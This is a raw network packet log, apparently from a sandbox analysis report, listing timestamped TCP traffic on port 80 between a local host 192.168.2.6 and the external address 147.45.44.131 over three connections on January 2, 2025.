Jan 2, 2025 19:14:16.796464920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796469927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796482086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796487093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796499014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796504021 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796504021 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796566010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796603918 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796631098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796638012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796638966 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796648026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796756029 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796787977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796793938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796806097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796811104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796817064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796834946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796844006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796880007 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796930075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796936035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796941996 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796947002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796952963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796962976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796968937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796992064 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796992064 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797003984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797009945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797023058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797029018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797049046 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797049046 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797116041 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797313929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797319889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797338963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797343969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797355890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797362089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797368050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797369003 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797383070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797418118 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797440052 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797452927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797497034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797502995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797528028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797533035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797544003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797549963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797565937 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797589064 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797630072 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797667027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797672987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797677994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797763109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797811031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797817945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797830105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797869921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797875881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797882080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797902107 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797959089 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.797983885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.797991037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798002005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798043966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798047066 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.798051119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798063993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798069954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798080921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798113108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.798146009 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.798147917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798208952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798214912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798226118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798230886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.798448086 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.800862074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800959110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800965071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800971031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800976038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800981998 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800987959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.800995111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801001072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801006079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801017046 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801018000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801023960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801053047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801053047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801084042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801090956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801093102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801096916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801106930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801161051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801167011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801178932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801184893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801203012 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801215887 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801233053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801251888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.801269054 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.801318884 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.805056095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805152893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805156946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805167913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805172920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805177927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805187941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805231094 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.805263042 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.805274010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805279970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805294037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805299044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805304050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805413961 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.805413961 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.805413961 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.805438995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805444956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805457115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805460930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.805716038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.808306932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808312893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808326006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808413982 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.808429003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808434963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808446884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808453083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808461905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808465958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808486938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808487892 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.808526039 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.808553934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808561087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808573008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808578968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808645010 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.808662891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808676004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808777094 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.808850050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808904886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808908939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808924913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808931112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808936119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.808964968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809003115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.809003115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.809024096 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.809025049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809822083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809825897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809863091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809910059 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.809914112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809921026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.809931040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810007095 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.810086966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810091019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810182095 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.810188055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810192108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810233116 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.810236931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810306072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810311079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810323000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810328960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810360909 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.810528994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810571909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810575962 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.810579062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.810647011 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.811532021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.811554909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.811611891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.811615944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.811630011 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.811695099 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821685076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821691036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821703911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821716070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821722984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821732998 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821738958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821744919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821757078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821762085 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821782112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821787119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821791887 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821791887 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821799040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821830988 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821837902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821841955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821858883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821866989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821872950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821878910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.821882010 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821882010 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821935892 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.821935892 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.824521065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824567080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824609995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824621916 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.824673891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824743032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824748993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824754953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824762106 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.824795961 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.824809074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824820995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824827909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824832916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824841022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.824862957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.824862957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.824959040 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825202942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825208902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825222015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825227022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825233936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825244904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825251102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825253010 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825254917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825299978 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825299978 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825725079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825737000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825742006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825747013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825752020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825757980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825767994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825773001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825778008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825783968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825788975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825790882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825790882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825794935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825809002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.825818062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825818062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.825954914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.826519012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.826642990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.826647997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.826653957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.826658964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.826664925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.826687098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.826757908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827121019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827204943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827210903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827229023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827234983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827239990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827244997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827251911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827255964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827275038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827289104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827300072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827306032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827322006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827337027 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827352047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827438116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827444077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827456951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827461958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827464104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827466965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827472925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827478886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827491999 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827528000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827533960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827565908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827615976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827641010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827646971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827727079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827730894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827743053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827747107 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827749968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827760935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827766895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827771902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827783108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827810049 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827810049 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827810049 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827841043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827847004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827857971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827863932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827893972 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827902079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827908039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827919960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827924013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827936888 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827945948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.827945948 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.827971935 CET	49726	80	192.168.2.6	147.45.44.131
